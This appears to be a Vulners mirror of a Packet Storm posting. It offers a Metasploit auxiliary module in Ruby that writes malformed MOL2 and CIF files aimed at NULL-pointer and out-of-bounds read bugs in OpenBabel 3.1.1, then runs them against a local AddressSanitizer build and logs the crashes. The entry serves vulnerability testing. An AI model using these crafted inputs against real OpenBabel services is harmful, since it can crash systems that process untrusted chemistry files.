Lucene search
K

📄 OpenBabel 3.1.1 Parsing Issues

🗓️ 26 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 112 Views

Generates proof of concept files to test OpenBabel vulnerabilities with AddressSanitizer builds.

Code
=============================================================================================================================================
    | # Title     : OpenBabel 3.1.1 ASan PoC Tester – Metasploit Auxiliary Module                                                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://openbabel.org/index.html                                                                                            |
    =============================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module generates specially crafted PoC  files targeting potential 
                     parsing vulnerabilities in OpenBabel (e.g., NULL pointer dereference and out-of-bounds read conditions).
                     The module executes an AddressSanitizer (ASan)-instrumented build of OpenBabel against the generated files 
    				 to detect crashes, memory corruption issues, or abnormal termination events.
    				 
    [+] POC   :  
    
    ##
    # This module requires Metasploit Framework
    # Tested with Metasploit 6.x
    ##
    
    require 'msf/core'
    require 'fileutils'
    
    class MetasploitModule < Msf::Auxiliary
    
      include Msf::Exploit::Remote::CmdStager
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'OpenBabel ASan PoC Tester',
          'Description'    => %q{
            This module generates Proof-of-Concept (PoC) files for known OpenBabel
            vulnerabilities and tests them using an AddressSanitizer (ASan) build
            of OpenBabel. It logs crashes for further analysis.
          },
          'Author'         => [ 'Indoushka' ],
          'License'        => MSF_LICENSE
        ))
    
        register_options(
          [
            OptString.new('BABEL_PATH', [true, 'Path to OpenBabel ASan binary', './obabel']),
            OptString.new('REPRO_DIR', [true, 'Directory to store PoC files', './repro_files']),
            OptString.new('LOG_FILE', [true, 'ASan crash log file', 'asan_report.txt'])
          ]
        )
      end
    
      def generate_pocs
        repro_dir = datastore['REPRO_DIR']
        FileUtils.mkdir_p(repro_dir)
    
        mol2_content = <<~MOL2
          @<TRIPOS>MOLECULE
          Null_Pointer_Exploit
           1 0 0 0 0
          SMALL
          USER_CHARGES
          @<TRIPOS>ATOM
                1 C          0.0000    0.0000    0.0000 C.3     1  UNL1        0.0000
          @<TRIPOS>UNITY_ATOM_ATTR
          2 0.5
        MOL2
    
        cif_content = <<~CIF
          data_oob_read
          _cell_length_a 10.0
          _cell_length_b 10.0
          _cell_length_c 10.0
          loop_
          _space_group_symop_operation_xyz
          'x, y, z'
          'x+1, y+2, z+3, w+4, v+5'
        CIF
    
        File.write(File.join(repro_dir, 'repro.mol2'), mol2_content)
        File.write(File.join(repro_dir, 'repro.cif'), cif_content)
    
        print_status("[+] PoC files generated in #{repro_dir}")
      end
    
      def run_test(file_path)
        babel = datastore['BABEL_PATH']
        null_dev = Gem.win_platform? ? 'NUL' : '/dev/null'
        input_format = File.extname(file_path).delete('.')
    
        print_status("Testing file: #{file_path} (#{input_format})")
    
        asan_env = { 'ASAN_OPTIONS' => 'symbolize=1:abort_on_error=1:detect_leaks=0' }
        cmd = "#{babel} -i#{input_format} #{file_path} -osmi -O #{null_dev}"
    
        result = ''
        begin
          result = `#{asan_env.map{|k,v| "#{k}=#{v}"}.join(' ')} #{cmd} 2>&1`
          if $?.exitstatus != 0 || result.include?('ERROR: AddressSanitizer')
            print_good("[!] Potential crash detected!")
            File.open(datastore['LOG_FILE'], 'a') do |f|
              f.puts("="*60)
              f.puts("File: #{file_path}")
              f.puts("Timestamp: #{Time.now}")
              f.puts(result)
              f.puts("\n")
            end
          else
            print_status("No crash detected.")
          end
        rescue ::Exception => e
          print_error("Error executing test: #{e}")
        end
      end
    
      def run
        babel = datastore['BABEL_PATH']
        unless File.exist?(babel)
          print_error("OpenBabel binary not found at #{babel}")
          return
        end
    
        generate_pocs
        Dir.glob(File.join(datastore['REPRO_DIR'], '*')).each do |file|
          next unless File.file?(file)
          run_test(file)
        end
    
        print_status("[+] Testing completed. Report saved to #{datastore['LOG_FILE']}")
      end
    
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation